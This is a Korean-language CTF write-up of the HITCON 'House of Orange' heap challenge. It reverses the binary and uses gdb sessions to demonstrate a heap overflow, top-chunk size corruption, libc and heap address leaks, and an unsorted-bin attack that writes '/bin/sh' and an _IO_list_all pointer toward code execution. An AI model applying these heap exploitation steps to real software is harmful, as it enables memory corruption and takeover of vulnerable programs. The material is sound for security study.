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My teammate, Orange, need a house. Can you build it ? |
autolycos@ubuntu:~/CTF/HITCON/houseoforange$ file ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682 ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped autolycos@ubuntu:~/CTF/HITCON/houseoforange$ checksec.sh --file ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682 autolycos@ubuntu:~/CTF/HITCON/houseoforange$ |
autolycos@ubuntu:~/CTF/HITCON/houseoforange$ ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682 +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ 1. Build the house 2. See the house 3. Upgrade the house 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : |
Your choice : 1 Length of name :10 Name :AAAAAAAAAA Price of Orange:+++++++++++++++++++++++++++++++++++++ 1. Red 2. Green 3. Yellow 4. Blue 5. Purple 6. Cyan 7. White +++++++++++++++++++++++++++++++++++++ Color of Orange:1 Finish |
Your choice : 2
Name of house : AAAAAAAAAA
Price of orange : 0
__
\/.--,
//_.'
.-""-/""----..
/ . . . . . . . \
/ . . . . . . . . \
|. ωωωω . .ωωωω. |
\ . $$. . . $$. ..|
\. . . . . . . . ./
\ . . . O . . . /
'-.__.__.__._-' |
Your choice : 3 Length of name :20 Name:BBBBBBBBBBBBBBBBBBBB Price of Orange: +++++++++++++++++++++++++++++++++++++ 1. Red 2. Green 3. Yellow 4. Blue 5. Purple 6. Cyan 7. White +++++++++++++++++++++++++++++++++++++ Color of Orange: 2 Finish |
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int menuNumber; // eax@2
setSIGALE();
while ( 1 )
{
while ( 1 )
{
PrintMenu();
menuNumber = UserInput();
if ( menuNumber != 2 )
break;
SeeTheHouse();
}
if ( menuNumber > 2 )
{
if ( menuNumber == 3 )
{
UpgradeTheHouse();
}
else
{
if ( menuNumber == 4 )
{
puts("give up");
exit(0);
}
LABEL_14:
puts("Invalid choice");
}
}
else
{
if ( menuNumber != 1 )
goto LABEL_14;
BuildTheHouse();
}
}
} |
전역 변수 gHouseCount의 값이 3보다 큰 값인지 확인합니다.
해당 변수를 이용해 해당 함수를 4번만 사용 가능하도록 합니다.
HOUSE 구조체의 Heap 공간을 할당합니다.
사용자로 부터 입력할 이름의 길이를 입력받습니다.
int BuildTheHouse()
{
unsigned int size; // [rsp+8h] [rbp-18h]@4
signed int colorNumber; // [rsp+Ch] [rbp-14h]@9
HOUSE *houseData; // [rsp+10h] [rbp-10h]@4
INFO *info; // [rsp+18h] [rbp-8h]@9
if ( gHouseCount > 3u )
{
puts("Too many house");
exit(1);
}
houseData = (house *)malloc(0x10uLL);
printf("Length of name :");
size = UserInput();
if ( size > 4096 )
size = 4096;
houseData->name = (char *)malloc(size);
if ( !houseData->name )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
NameInput(houseData->name, size);
info = (Info *)calloc(1uLL, 8uLL);
printf("Price of Orange:", 8LL);
info->price = UserInput();
colorPrint();
printf("Color of Orange:");
colorNumber = UserInput();
if ( colorNumber != 56746 && (colorNumber <= 0 || colorNumber > 7) )
{
puts("No such color");
exit(1);
}
if ( colorNumber == 56746 )
info->color = 56746;
else
info->color = colorNumber + 30;
houseData->house = info;
gHouseDate = houseData;
++gHouseCount;
return puts("Finish");
} |
struct HOUSE
{
struct Info *house;
char *name;
}; |
struct INFO
{
int price ;
int color ;
}; |
"gHouseDate->house->color"의 값을 확인합니다.
"56746"과 같다면 orange 색의 orange가 출력됩니다.
int SeeTheHouse()
{
int v0; // eax@3
int result; // eax@3
int v2; // eax@8
if ( !gHouseDate )
return puts("No such house !");
if ( gHouseDate->house->color == 56746 )
{
printf("Name of house : %s\n", gHouseDate->name);
printf("Price of orange : %d\n", gHouseDate->house->price);
v0 = rand();
result = printf("\x1B[01;38;5;214m%s\x1B[0m\n", gOrangeImageArr[v0 % 8]);
}
else
{
if ( gHouseDate->house->color <= 30 || gHouseDate->house->color > 37 )
{
puts("Color corruption!");
exit(1);
}
printf("Name of house : %s\n", gHouseDate->name);
printf("Price of orange : %d\n", gHouseDate->house->price);
v2 = rand();
result = printf("\x1B[%dm%s\x1B[0m\n", (unsigned int)gHouseDate->house->color, gOrangeImageArr[v2 % 8]);
}
return result;
} |
전역 변수 gUpgradeCount의 값이 2보다 큰지 확인합니다.
전역 변수 gHouseDate에 데이터가 있으면 사용자로 부터 값을 입력 받습니다.
gUpgradeCount 변수의 값을 증가 시킵니다.
int UpgradeTheHouse()
{
Info *info; // rbx@7
unsigned int size; // [rsp+8h] [rbp-18h]@5
signed int colorNumber; // [rsp+Ch] [rbp-14h]@7
if ( gUpgradeCount > 2u )
return puts("You can't upgrade more");
if ( !gHouseDate )
return puts("No such house !");
printf("Length of name :");
size = UserInput();
if ( size > 4096 )
size = 4096;
printf("Name:");
NameInput(gHouseDate->name, size);
printf("Price of Orange: ", size);
info = gHouseDate->house;
info->price = UserInput();
colorPrint();
printf("Color of Orange: ");
colorNumber = UserInput();
if ( colorNumber != 56746 && (colorNumber <= 0 || colorNumber > 7) )
{
puts("No such color");
exit(1);
}
if ( colorNumber == 56746 )
gHouseDate->house->color = 56746;
else
gHouseDate->house->color = colorNumber + 30;
++gUpgradeCount;
return puts("Finish");
} |
0x555555554daa : BuildTheHouse() 함수에서 "Name" 값을 저장할 Heap을 할당 후
0x555555555119 : UpgradeTheHouse()함수에서 NameInput() 함수 호출 전
0x55555555511e : UpgradeTheHouse()함수에서 NameInput() 함수 호출 후
autolycos@ubuntu:~/CTF/HITCON/houseoforange$ gdb -q ./houseo* Reading symbols from ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682...(no debugging symbols found)...done. gdb-peda$ b *0x555555554daa Breakpoint 1 at 0x555555554daa gdb-peda$ b *0x555555554dfe Breakpoint 2 at 0x555555554dfe gdb-peda$ b *0x555555554e0d Breakpoint 3 at 0x555555554e0d gdb-peda$ b *0x555555555119 Breakpoint 4 at 0x555555555119 gdb-peda$ b *0x55555555511e Breakpoint 4 at 0x55555555511e gdb-peda$ |
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/autolycos/CTF/HITCON/houseoforange/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682 +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ 1. Build the house 2. See the house 3. Upgrade the house 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : 1 Length of name :10 Breakpoint 1, 0x0000555555554daa in ?? () gdb-peda$ i r rax rax 0x555555758030 0x555555758030 gdb-peda$ x/8gx 0x555555758030 0x555555758030: 0x0000000000000000 0x0000000000000000 0x555555758040: 0x0000000000000000 0x0000000000020fc1 0x555555758050: 0x0000000000000000 0x0000000000000000 0x555555758060: 0x0000000000000000 0x0000000000000000 gdb-peda$ c Continuing. Name :AAAAAAAAA Breakpoint 2, 0x0000555555554dfe in ?? () gdb-peda$ x/8gx 0x555555758030 0x555555758030: 0x4141414141414141 0x0000000000000a41 0x555555758040: 0x0000000000000000 0x0000000000020fc1 0x555555758050: 0x0000000000000000 0x0000000000000000 0x555555758060: 0x0000000000000000 0x0000000000000000 gdb-peda$ c Continuing. Breakpoint 3, 0x0000555555554e0d in ?? () gdb-peda$ x/8gx 0x555555758030 0x555555758030: 0x4141414141414141 0x0000000000000a41 0x555555758040: 0x0000000000000000 0x0000000000000021 0x555555758050: 0x0000000000000000 0x0000000000000000 0x555555758060: 0x0000000000000000 0x0000000000020fa1 gdb-peda$ c |
0x555555758030 ~ 0x55555575806C 영역에 입력한 문자열이 저장되어 있습니다.
0x555555758050 영역에는 price,color 값이 저장됩니다.
gdb-peda$ c Continuing. Price of Orange:100 +++++++++++++++++++++++++++++++++++++ 1. Red 2. Green 3. Yellow 4. Blue 5. Purple 6. Cyan 7. White +++++++++++++++++++++++++++++++++++++ Color of Orange:1 Finish +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ 1. Build the house 2. See the house 3. Upgrade the house 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : 3 Length of name :60 Name: Breakpoint 4, 0x0000555555555119 in ?? () gdb-peda$ x/8gx 0x555555758030 0x555555758030: 0x4141414141414141 0x0000000000000a41 0x555555758040: 0x0000000000000000 0x0000000000000021 0x555555758050: 0x0000001f00000064 0x0000000000000000 0x555555758060: 0x0000000000000000 0x0000000000020fa1 gdb-peda$ ni BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCC Breakpoint 5, 0x000055555555511e in ?? () gdb-peda$ x/8gx 0x555555758030 0x555555758030: 0x4242424242424242 0x4242424242424242 0x555555758040: 0x4242424242424242 0x4242424242424242 0x555555758050: 0x4242424242424242 0x4242424242424242 0x555555758060: 0x4343434343424242 0x000000000a434343 gdb-peda$ |
|
|
|
sysmalloc()은 새로운 영역을 할당하기 위해서는 Top chunk의 값을 확인합니다.
Top chunk 변조를 통해 새로운 메모리 영역을 할당받기 위해 다음과 같은 조건을 만족시켜야 합니다.
MINSIZE (0x10)보다 커야 합니다. (unsigned long) (old_size) >= MINSIZE
need size + MINSIZE 보다 작아야 합니다. (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE))
prev_inuse가 설정되어 있어야 합니다. prev_inuse (old_top)
old_top +oldsize 페이지를 정렬해야합니다.
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); |
0x555555554daa : BuildTheHouse() 함수에서 "Name" 값을 저장할 Heap을 할당 후
0x555555554e0d : BuildTheHouse() 함수에서 calloc() 함수 호출 후
0x55555555511e : UpgradeTheHouse()함수에서 NameInput() 함수 호출 후
gdb-peda$ b *0x555555554000 + 0xDAA Breakpoint 1 at 0x555555554daa gdb-peda$ b *0x555555554000 + 0xDFE Breakpoint 2 at 0x555555554dfe gdb-peda$ b *0x555555554000 + 0xE0D Breakpoint 3 at 0x555555554e0d gdb-peda$ b *0x555555554000 + 0x111E Breakpoint 4 at 0x55555555511e gdb-peda$ |
gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ 1. Build the house 2. See the house 3. Upgrade the house 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : 1 Length of name :16 Breakpoint 1, 0x0000555555554daa in ?? () gdb-peda$ i r rax rax 0x555555758030 0x555555758030 gdb-peda$ x/16gx 0x555555758030 0x555555758030: 0x0000000000000000 0x0000000000000000 0x555555758040: 0x0000000000000000 0x0000000000020fc1 0x555555758050: 0x0000000000000000 0x0000000000000000 0x555555758060: 0x0000000000000000 0x0000000000000000 0x555555758070: 0x0000000000000000 0x0000000000000000 0x555555758080: 0x0000000000000000 0x0000000000000000 0x555555758090: 0x0000000000000000 0x0000000000000000 0x5555557580a0: 0x0000000000000000 0x0000000000000000 gdb-peda$ c Continuing. Program received signal SIGALRM, Alarm clock. Name :AAAAAAAAAAAABB Breakpoint 2, 0x0000555555554dfe in ?? () gdb-peda$ x/16gx 0x555555758030 0x555555758030: 0x4141414141414141 0x000a424241414141 0x555555758040: 0x0000000000000000 0x0000000000020fc1 0x555555758050: 0x0000000000000000 0x0000000000000000 0x555555758060: 0x0000000000000000 0x0000000000000000 0x555555758070: 0x0000000000000000 0x0000000000000000 0x555555758080: 0x0000000000000000 0x0000000000000000 0x555555758090: 0x0000000000000000 0x0000000000000000 0x5555557580a0: 0x0000000000000000 0x0000000000000000 gdb-peda$ c Continuing. Breakpoint 3, 0x0000555555554e0d in ?? () gdb-peda$ x/16gx 0x555555758030 0x555555758030: 0x4141414141414141 0x000a424241414141 0x555555758040: 0x0000000000000000 0x0000000000000021 0x555555758050: 0x0000000000000000 0x0000000000000000 0x555555758060: 0x0000000000000000 0x0000000000020fa1 0x555555758070: 0x0000000000000000 0x0000000000000000 0x555555758080: 0x0000000000000000 0x0000000000000000 0x555555758090: 0x0000000000000000 0x0000000000000000 0x5555557580a0: 0x0000000000000000 0x0000000000000000 gdb-peda$ |
gdb-peda$ c Continuing. Price of Orange:100 +++++++++++++++++++++++++++++++++++++ 1. Red 2. Green 3. Yellow 4. Blue 5. Purple 6. Cyan 7. White +++++++++++++++++++++++++++++++++++++ Color of Orange:1 Finish +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ 1. Build the house 2. See the house 3. Upgrade the house 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : 3 Length of name :70 Name:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB Breakpoint 4, 0x000055555555511e in ?? () gdb-peda$ x/16gx 0x555555758030 0x555555758030: 0x4141414141414141 0x4141414141414141 0x555555758040: 0x4141414141414141 0x4141414141414141 0x555555758050: 0x4141414141414141 0x4141414141414141 0x555555758060: 0x4141414141414141 0x0a42424241414141 0x555555758070: 0x0000000000000000 0x0000000000000000 0x555555758080: 0x0000000000000000 0x0000000000000000 0x555555758090: 0x0000000000000000 0x0000000000000000 0x5555557580a0: 0x0000000000000000 0x0000000000000000 gdb-peda$ set *0x555555758068 = 0xfa1 gdb-peda$ set *0x55555575806c = 0x0 gdb-peda$ x/16gx 0x555555758030 0x555555758030: 0x4141414141414141 0x4141414141414141 0x555555758040: 0x4141414141414141 0x4141414141414141 0x555555758050: 0x4141414141414141 0x4141414141414141 0x555555758060: 0x4141414141414141 0x0000000000000fa1 0x555555758070: 0x0000000000000000 0x0000000000000000 0x555555758080: 0x0000000000000000 0x0000000000000000 0x555555758090: 0x0000000000000000 0x0000000000000000 0x5555557580a0: 0x0000000000000000 0x0000000000000000 gdb-peda$ |
0x55f72a512010 = 할당된 heap의 시작 주소(0x55f72a511010) + heap size(0x1000, 4096)
gdb-peda$ c Continuing. Price of Orange: 200 +++++++++++++++++++++++++++++++++++++ 1. Red 2. Green 3. Yellow 4. Blue 5. Purple 6. Cyan 7. White +++++++++++++++++++++++++++++++++++++ Color of Orange: 2 Finish +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ 1. Build the house 2. See the house 3. Upgrade the house 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : 1 Length of name :4096 Breakpoint 1, 0x0000555555554daa in ?? () gdb-peda$ i r rax rax 0x555555779010 0x555555779010 gdb-peda$ x/16gx 0x555555758030 0x555555758030: 0x4141414141414141 0x4141414141414141 0x555555758040: 0x4141414141414141 0x4141414141414141 0x555555758050: 0x00000020000000c8 0x4141414141414141 0x555555758060: 0x4141414141414141 0x0000000000000021 0x555555758070: 0x000000000000000a 0x0000000000000000 0x555555758080: 0x0000000000000000 0x0000000000000f61 0x555555758090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x5555557580a0: 0x0000000000000000 0x0000000000000000 gdb-peda$ |
"0x5555557580d0", "0x5555557580d8"영역에 main_arena 영역의 주소가 저장되어 있습니다.
gdb-peda$ c Continuing. Name :HEAP Breakpoint 2, 0x0000555555554dfe in ?? () gdb-peda$ c Continuing. Breakpoint 3, 0x0000555555554e0d in ?? () gdb-peda$ c Continuing. Price of Orange:300 +++++++++++++++++++++++++++++++++++++ 1. Red 2. Green 3. Yellow 4. Blue 5. Purple 6. Cyan 7. White +++++++++++++++++++++++++++++++++++++ Color of Orange:3 Finish +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ 1. Build the house 2. See the house 3. Upgrade the house 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : 1 Length of name :1024 Breakpoint 1, 0x0000555555554daa in ?? () gdb-peda$ i r rax rax 0x5555557580d0 0x5555557580d0 gdb-peda$ x/10gx 0x5555557580d0 0x5555557580d0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557580e0: 0x00005555557580c0 0x00005555557580c0 0x5555557580f0: 0x0000000000000000 0x0000000000000000 0x555555758100: 0x0000000000000000 0x0000000000000000 0x555555758110: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/gx 0x00007ffff7dd2188 0x7ffff7dd2188 <main_arena+1640>: 0x00007ffff7dd2178 gdb-peda$ |
Leak data : ?!???
gdb-peda$ c
Continuing.
Name :LEAKADD
Breakpoint 2, 0x0000555555554dfe in ?? ()
gdb-peda$ x/10gx 0x5555557580d0
0x5555557580d0: 0x0a4444414b41454c 0x00007ffff7dd2188
0x5555557580e0: 0x00005555557580c0 0x00005555557580c0
0x5555557580f0: 0x0000000000000000 0x0000000000000000
0x555555758100: 0x0000000000000000 0x0000000000000000
0x555555758110: 0x0000000000000000 0x0000000000000000
gdb-peda$ c
Continuing
Breakpoint 3, 0x0000555555554e0d in ?? ()
gdb-peda$ c
Continuing.
Price of Orange:400
+++++++++++++++++++++++++++++++++++++
1. Red
2. Green
3. Yellow
4. Blue
5. Purple
6. Cyan
7. White
+++++++++++++++++++++++++++++++++++++
Color of Orange:4
Finish
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : 2
Name of house : LEAKADD
?!???
Price of orange : 400
__
\/.--,
//_.'
.-""-/""----..
/ . . . . . . . \
/ . . \ . . / . . \
|. ____\ . /____. |
\ . . . . . . . . |
\. . . . . . . . ./
\ . . . ～ . . ./
'-.__.__.__._-'
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : |
"0x5555557580d0"으로 부터 16 byte 떨어진곳에 Heap의 주소가 존재합니다.
이를 Leak하기 위해 "Name"의 값으로 문자 15를 입력합니다.
Name of house : LEAKADD
?!???
Price of orange : 400
__
\/.--,
//_.'
.-""-/""----..
/ . . . . . . . \
/ . . \ . . / . . \
|. ____\ . /____. |
\ . . . . . . . . |
\. . . . . . . . ./
\ . . . ～ . . ./
'-.__.__.__._-'
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : 3
Length of name :1024
Name:BBBBBBBBBBBBBBB
Breakpoint 4, 0x000055555555511e in ?? ()
gdb-peda$ x/10gx 0x5555557580d0
0x5555557580d0: 0x4242424242424242 0x0a42424242424242
0x5555557580e0: 0x00005555557580c0 0x00005555557580c0
0x5555557580f0: 0x0000000000000000 0x0000000000000000
0x555555758100: 0x0000000000000000 0x0000000000000000
0x555555758110: 0x0000000000000000 0x0000000000000000
gdb-peda$ c
Continuing.
Price of Orange: 500
+++++++++++++++++++++++++++++++++++++
1. Red
2. Green
3. Yellow
4. Blue
5. Purple
6. Cyan
7. White
+++++++++++++++++++++++++++++++++++++
Color of Orange: 5
Finish
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : 2
Name of house : BBBBBBBBBBBBBBB
??uUUU
Price of orange : 500
__
\/.--,
//_.'
.-""-/""----..
/ . . . . . . . \
/ . . . . . . . . \
|. ωωωω . .ωωωω. |
\ . $$. . . $$. ..|
\. . . . . . . . ./
\ . . . O . . . /
'-.__.__.__._-'
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : |
분석을 위해 "0x555555555119"영역에 Break point를 설정합니다.
"Length of name" 의 입력 값으로 "2048"를 전달합니다.
중요한 부분은 현재 main_arena의 Unsorted bin에 저장된 영역입니다.
Unsorted bin영역에 저장된 영역은 0x5555557584f0 입니다.
Your choice : 2
Name of house : BBBBBBBBBBBBBBB
??uUUU
Price of orange : 500
__
\/.--,
//_.'
.---//------..
/ . . . . . . . \
/ . ./\. . ./\ .. \
|. ./ \. ./ \ . |
\ . . . . . . . ..|
\. . . . . . . . ./
\ . . \___/. . ./
'-.__.__.__._-'
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : ^C
Program received signal SIGINT, Interrupt.
gdb-peda$ b *0x555555554000 + 0x1119
Breakpoint 5 at 0x555555555119
gdb-peda$ c
3
Length of name :2048
Name:
Breakpoint 5, 0x0000555555555119 in ?? ()
gdb-peda$ i r rdi
rdi 0x5555557580d0 0x5555557580d0
gdb-peda$ p main_arena.bins[0]
$8 = (mchunkptr) 0x5555557584f0
gdb-peda$ p main_arena.bins[1]
$9 = (mchunkptr) 0x5555557584f0
gdb-peda$ p/d 0x5555557584f0 - 0x5555557580d0
$10 = 1056
gdb-peda$ x/8gx 0x5555557580d0 + 1040
0x5555557584e0: 0x00000023000001f4 0x0000000000000000
0x5555557584f0: 0x0000000000000000 0x0000000000000af1
0x555555758500: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555758510: 0x0000000000000000 0x0000000000000000
gdb-peda$ c
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Breakpoint 4, 0x000055555555511e in ?? ()
gdb-peda$ x/8gx 0x5555557580d0 + 1040
0x5555557584e0: 0x4141414141414141 0x4141414141414141
0x5555557584f0: 0x4242424242424242 0x4242424242424242
0x555555758500: 0x4242424242424242 0x4242424242424242
0x555555758510: 0x0000000000000000 0x0000000000000000
gdb-peda$ |
Breakpoint 4, 0x000055555555511e in ?? () gdb-peda$ set *0x5555557584f0 = 0x6E69622F gdb-peda$ set *0x5555557584f4 = 0x0068732F gdb-peda$ set *0x5555557584f8 = 0x61 gdb-peda$ set *0x5555557584fc = 0x0 gdb-peda$ p &_IO_list_all $1 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all> gdb-peda$ p/x 0x7ffff7dd2520 - 0x10 $2 = 0x7ffff7dd2510 gdb-peda$ x/4gx 0x7ffff7dd2510 0x7ffff7dd2510: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd2540 0x0000000000000000 gdb-peda$ set *0x555555758508 = 0xf7dd2510 gdb-peda$ set *0x55555575850c = 0x7fff gdb-peda$ set *0x555555758500 = 0xAAAA gdb-peda$ set *0x555555758504 = 0x0 gdb-peda$ x/8gx 0x5555557580d0 + 1040 0x5555557584e0: 0x4141414141414141 0x4141414141414141 0x5555557584f0: 0x0068732f6e69622f 0x0000000000000061 0x555555758500: 0x000000000000aaaa 0x00007ffff7dd2510 0x555555758510: 0x000000000000000a 0x0000000000000000 gdb-peda$ |
gdb-peda$ c Continuing. Price of Orange: 700 +++++++++++++++++++++++++++++++++++++ 1. Red 2. Green 3. Yellow 4. Blue 5. Purple 6. Cyan 7. White +++++++++++++++++++++++++++++++++++++ Color of Orange: 7 Finish +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ 1. Build the house 2. See the house 3. Upgrade the house 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice : 1 *** Error in `/home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange': malloc(): memory corruption: 0x00007ffff7dd2520 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ffff7a847e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7ffff7a8f13e] /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7ffff7a91184] /home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange(+0xd6d)[0x555555554d6d] /home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange(+0x1402)[0x555555555402] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff7a2d830] /home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange(+0xb19)[0x555555554b19] ======= Memory map: ======== 555555554000-555555557000 r-xp 00000000 08:01 139888 /home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange 555555756000-555555757000 r--p 00002000 08:01 139888 /home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange 555555757000-555555758000 rw-p 00003000 08:01 139888 /home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange 555555758000-55555579b000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fd5000-7ffff7fd8000 rw-p 00000000 00:00 0 7ffff7ff5000-7ffff7ff8000 rw-p 00000000 00:00 0 7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] Program received signal SIGABRT, Aborted. Stopped reason: SIGABRT 0x00007ffff7a42428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54 54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. gdb-peda$ x/4gx 0x7ffff7dd2510 0x7ffff7dd2510: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd1b78 